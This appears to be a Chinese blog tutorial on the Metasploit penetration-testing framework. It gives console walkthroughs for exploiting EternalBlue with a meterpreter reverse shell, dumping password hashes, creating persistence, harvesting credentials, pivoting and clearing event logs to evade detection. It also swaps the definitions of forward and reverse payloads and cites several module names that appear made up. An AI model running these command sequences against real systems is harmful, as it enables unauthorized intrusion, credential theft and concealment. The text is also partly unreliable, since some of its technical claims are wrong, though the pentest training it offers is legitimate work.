当前位置: 首页 > news >正文

Metasploit常用命令详解

一、Metasploit 概述

Metasploit是一款开源的渗透测试框架,由 H.D. Moore 于 2003 年首次发布,目前由 rapid7 公司维护。它整合了大量漏洞利用模块、后渗透工具和漏洞扫描功能,已成为网络安全工程师、红队 / 蓝队成员及安全研究人员的核心工具之一。

 下载最新版安装包: metasploitframework-latest.msi  

Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit

永久添加脚本执行目录到当前用户的PATH: setx PATH "%PATH%;C:\metasploit-framework\bin"

Metasploit -- 目录详解及常用命令

Metasploit基础和基本命令详解

Metasploit Framework(MSF)命令汇总

二、核心功能与组件

  1. 漏洞利用模块(Exploits)

    • 包含数千个针对不同系统、应用的漏洞攻击代码(如 Windows、Linux、Web 服务等),支持自动匹配目标环境。
    • 示例:exploit/windows/smb/ms17_010_eternalblue(针对永恒之蓝漏洞)。
  2. Payload(攻击载荷)

    • 漏洞成功利用后执行的代码,可分为:
      • 正向 Payload:目标主动连接攻击者(如windows/meterpreter/reverse_tcp)。
      • 反向 Payload:攻击者主动连接目标(更绕过防火墙,如windows/meterpreter/bind_tcp)。
  3. 辅助模块(Auxiliary)

    • 非漏洞利用功能,包括:
      • 扫描器(如auxiliary/scanner/portscan/tcp)、嗅探器、Fuzz 测试工具等。
  4. 后渗透模块(Post)

    • 获得目标权限后执行的操作,如数据窃取、权限维持、网络信息收集(post/windows/gather/enum_logged_on_users)。
  5. 编码器(Encoders)

    • 对 Payload 进行加密或变形,绕过杀毒软件检测(如x86/shikata_ga_nai)。

打开Metasploit: msfconsole

Metasploit功能列表:

1. Exploit Modules:用于攻击和利用目标系统的漏洞。

2. Payloads:攻击成功后在目标系统上执行的代码,如反向 Shell。

3. Auxiliary Modules:辅助功能,如扫描和嗅探。

4. Encoders:用于编码 Payloads 以规避检测。

5. Post Modules:在目标系统上进一步操作的模块,如提权、信息收集等。

6. Nop Generators:用于生成 NOP(No Operation)指令,帮助躲避 IDS/IPS。  

三、工作流程与典型场景

1. 基本渗透测试流程

目标信息收集 → 漏洞扫描 → 选择Exploit与Payload → 配置参数 → 执行攻击 → 后渗透操作

2. 实战示例:获取 Windows 主机权限

# 1. 启动Metasploit msfconsole

# 2. 搜索永恒之蓝漏洞模块 search ms17-010

# 3. 加载漏洞利用模块 use exploit/windows/smb/ms17_010_eternalblue

# 4. 配置目标IP set RHOSTS 192.168.1.100

# 5. 配置Payload(反向连接)

                  set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 攻击者    set LHOST 192.168.1.101

# 监听端口 IP set LPORT 4444

# 6. 执行攻击 exploit

3. 后渗透常用命令

  • sysinfo:查看系统信息
  • hashdump:获取密码哈希
  • upload/download:文件传输
  • persistence:创建持久化后门

四、优势与局限性

优势

1. 模块化设计,支持自定义扩展;
2. 覆盖主流平台与漏洞,更新频繁;
3. 图形化界面(Metasploit Pro)降低使用门槛。

局限性

1. 依赖已知漏洞,对 0day 攻击支持有限;
2. 流量特征易被检测,需配合免杀技术;
3. 新手需学习编程(如 Ruby)才能开发自定义模块。

五、安全合规与学习资源

  1. 合规提示

    • 仅可在授权环境(如企业内部测试、CTF 竞赛)中使用,未经允许攻击公共网络属于违法行为。
  2. 学习资源

    • 官方文档:Metasploit Documentation
    • 实战书籍:《Metasploit 渗透测试指南》《Web 渗透测试实战》
    • 在线平台:TryHackMe、Hack The Box(模拟靶场)

六、延伸:Metasploit 的演进与分支

  • Metasploit Pro:商业化版本,集成漏洞管理、报告生成等企业级功能。
  • Cobalt Strike:后渗透工具,常与 Metasploit 配合使用,具备更隐蔽的 C2 通信能力。
  • Armitage:Metasploit 的图形化前端,支持鼠标拖拽式渗透测试。

通过掌握 Metasploit,安全人员可系统性地验证网络防御体系的薄弱环节,而攻击者也可能利用其自动化能力实施攻击。因此,企业需结合 IDS/IPS、EDR 等工具监控异常流量,并及时修补系统漏洞。

七、标准的渗透测试流程示例

1、信息收集(Reconnaissance)

信息收集(Reconnaissance)和 扫描和枚举(Scanning and Enumeration) 获取目标的信息,如 IP 地址、域名等。扫描目标网络,发现开放端口和服务,枚举详细信息。

2、服务扫描

# 调用Nmap并将扫描结果导入Metasploit数据库中
db_nmap -sV -O 192.168.1.0/24

# 扫描网络中的所有活动主机
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.1.0/24
run

# 扫描特定主机上的开放端口,识别运行的服务
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.100
run

# 枚举 SMB 服务的版本,了解系统运行的具体服务信息
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run

# 识别 FTP 服务版本
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.1.100
run

# 识别 HTTP 服务版本
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.100
run  

查看已发现的主机和服务

hosts
services  

3、漏洞评估(Vulnerability Assessment)或漏洞扫描

识别目标系统中的已知漏洞。
可使用自动化工具:Nessus OpenVAS全面扫描漏洞。

1. 扫描漏洞

# 扫描目标系统的多种漏洞
use auxiliary/scanner/vulnerabilities/realvuln
set RHOSTS 192.168.1.0/24
run

# 扫描 Metasploit 框架支持的漏洞
use auxiliary/scanner/msf/msfscan
set RHOSTS 192.168.1.0/24
run

# Metasploit Pro 版提供更强大的自动化漏洞扫描功能,可以自动化许多步骤,并生成详细报告
use pro
set WORKSPACE default
set RHOSTS 192.168.1.0/24
run  

2. 导入其他工具扫描结果

# 导入 Nessus 扫描结果
load nessus
nessus_connect username:password@127.0.0.1:8834
nessus_report_list
nessus_import_report <report_id>

# 导入 OpenVAS 扫描结果
load openvas
openvas_connect username:password@127.0.0.1
openvas_report_list
openvas_import_report <report_id>  

3、利用漏洞(Exploitation)

利用发现的漏洞获取对目标系统的访问权限

# 利用目标 SMB 服务的已知漏洞,设置目标主机和本地主机的相关参数并执行攻击
search smb
use exploit/windows/smb/ms17_010_eternalblue
show targets  # 查看所选模块支持的模板平台和配置
show options  # 查看所选模块的可配置选项
set RHOSTS 192.168.1.100  # 设置目标主机地址
check  # 验证漏洞

show payloads  # 查看可用的有效载荷
set payload windows/x64/meterpreter/reverse_tcp  # 选择并配置适当的有效载荷,如反向 shell
set LHOST 192.168.1.50
exploit  # 确认目标存在漏洞后,执行攻击  

4、后渗透操作(Post-Exploitation)

在获得访问权限后进行进一步操作,如提权、信息收集等。

shell   # 在成功获得 Meterpreter 会话后
meterpreter > sysinfo  # 查看系统信息
meterpreter > getuid  # 获取当前用户 ID
meterpreter > shell  # 进入目标系统的命令提示符  

5、清理和报告(Cleanup and Reporting)

清理所有操作痕迹,并生成详细的渗透测试报告。

# 清除目标系统的事件日志,避免被检测到,生成渗透测试报告
meterpreter > clearev  

4、Metasploit其他功能

社会工程学工具

Social Engineering Toolkit (SET):可以创建各种社会工程攻击,如钓鱼攻击、恶意 USB 制作等。

# 使用 SET 进行钓鱼攻击
use auxiliary/set/social_engineering/phishing  

Web 应用测试

Auxiliary Modules:许多辅助模块用于扫描和测试 Web 应用程序漏洞。

凭证收集

1. Meterpreter Scripts:在目标系统上运行脚本以收集密码和其他凭证。

2. Post Exploitation Modules:用于提取存储的密码和会话令牌。  

# 使用 Meterpreter 脚本提取凭证
run post/windows/gather/credentials/windows_autologin  

网络隧道

1. Pivoting:通过已攻陷的系统建立网络隧道,以访问内网中的其他系统。

2. Portfwd:转发端口以绕过防火墙和访问受限资源。  

 # 进行 Pivoting
route add 10.0.0.0 255.255.255.0 1  

自定义模块开发

编写自定义模块:使用 Ruby 编写自定义漏洞利用和辅助模块,满足特定需求。
Metasploit 本身主要是基于 Ruby 编写的,但它提供RPC接口,可以通过msgrpc服务集成Python脚本。

pyexec插件示例

shell   load pyexec
pyexec 'print("Hello from Python")'  

通过 RPC 接口与 Metasploit 交互 

# 启动 Metasploit RPC 服务
vim rpc_service.rc
  load msgrpc ServerHost=127.0.0.1 ServerPort=55552 User=msf Pass=abc123
msfconsole -r rpc_service.rc
vim demo.py
    from metasploit.msfrpc import MsfRpcClient
    client = MsfRpcClient('abc123', server='127.0.0.1', port=55552)
    console = client.consoles.console()
    console.write('use exploit/windows/smb/ms17_010_eternalblue\n')
    console.write('set RHOSTS 192.168.1.100\n')
    console.write('run\n')  

任务自动化

1. Resource Scripts:使用 .rc 文件自动化执行一系列 Metasploit 命令。

2. Mettle Payloads:一种新的、更灵活的有效载荷框架,可以执行复杂的任务。  

shell   # 自动化任务
resource myscript.rc  

数据导出和报告

报告生成:生成渗透测试报告,包含详细的测试步骤和结果。

数据导出:将扫描结果和会话数据导出为各种格式。

模块化设计

1. Pluggable Payloads:用户可以自定义和插入自己的有效载荷。

2. Custom Modules:允许用户创建和加载自定义漏洞利用和辅助模块。  

混淆与逃避

1. Encoders:对有效载荷进行编码以绕过防病毒软件和入侵检测系统(IDS)。

2. Anti-Forensics:提供工具来混淆日志和删除痕迹。  

实时协作

Team Collaboration:Metasploit Pro 支持团队协作,多个用户可以同时对同一目标进行测试。

模拟攻击

Attack Simulations:可以模拟真实的攻击场景,以测试和验证防御措施。

插件支持

Community Plugins:支持用户开发和共享插件,扩展 Metasploit 的功能。

高级报告

Detailed Reporting:生成详细的渗透测试报告,包括发现的漏洞、利用情况和修复建议。

数据库导入

Metasploit 支持从多种第三方漏洞扫描工具导入数据:

Metasploit 第三方软件支持列表  

支持的数据格式和工具:

• Foundstone Network Inventory XML

• Microsoft MBSA SecScan XML

• nCircle IP360 XMLv3 and ASPL

• NetSparker XML

• Nessus NBE

• Nessus XML v1 and v2

• Qualys Asset XML

• Qualys Scan XML

• Burp Sessions XML

• Burp Issues XML

• Acunetix XML

• AppScan XML

• Nmap XML

• Retina XML

• Amap Log

• Critical Watch VM XML

• IP Address List

• Libpcap Network Capture

• Spiceworks Inventory Summary CSV

• Core Impact XML  Nessus/OpenVAS

导入:可以将 Nessus 或 OpenVAS 的漏洞扫描结果导入 Metasploit 进行进一步分析。  

# 导入 Nessus 扫描结果
load nessus
nessus_import_report <report_id>

http://www.lryc.cn/news/574857.html

相关文章:

  • 2023年全国青少年信息素养大赛Python 复赛真题——玩石头游戏
  • 2025.6.16-实习
  • 搭建智能问答系统,有哪些解决方案,比如使用Dify,LangChain4j+RAG等
  • JVM(11)——详解CMS垃圾回收器
  • 猿人学js逆向比赛第一届第十二题
  • CDN+OSS边缘加速实践:动态压缩+智能路由降低30%视频流量成本(含带宽峰值监控与告警配置)
  • RSS解析并转换为JSON的API集成指南
  • SQL Server从入门到项目实践(超值版)读书笔记 18
  • [学习] C语言编程中线程安全的实现方法(示例)
  • 【Datawhale组队学习202506】YOLO-Master task04 YOLO典型网络模块
  • Python训练营-Day40-训练和测试的规范写法
  • 【Python-Day 29】万物皆对象:详解 Python 类的定义、实例化与 `__init__` 方法
  • 【Linux网络与网络编程】15.DNS与ICMP协议
  • 性能测试-jmeter实战4
  • 集成学习基础:Bagging 原理与应用
  • PyEcharts教程(009):PyEcharts绘制水球图
  • 60天python训练营打卡day41
  • Linux系统---Nginx配置nginx状态统计
  • 鸿蒙 Stack 组件深度解析:层叠布局的核心应用与实战技巧
  • AI时代工具:AIGC导航——AI工具集合
  • 接口自动化测试之pytest 运行方式及前置后置封装
  • 爬取小红书相关数据导入到excel
  • 项目需求评审报告参考模板
  • 图的拓扑排序管理 Go 服务启动时的组件初始化顺序
  • 飞往大厂梦之算法提升-day08
  • sqlserver怎样动态执行存储过程,并且返回报错
  • Java实现简易即时通讯系统
  • day41 打卡
  • 基于元学习的回归预测模型如何设计?
  • MySQL:深入总结锁机制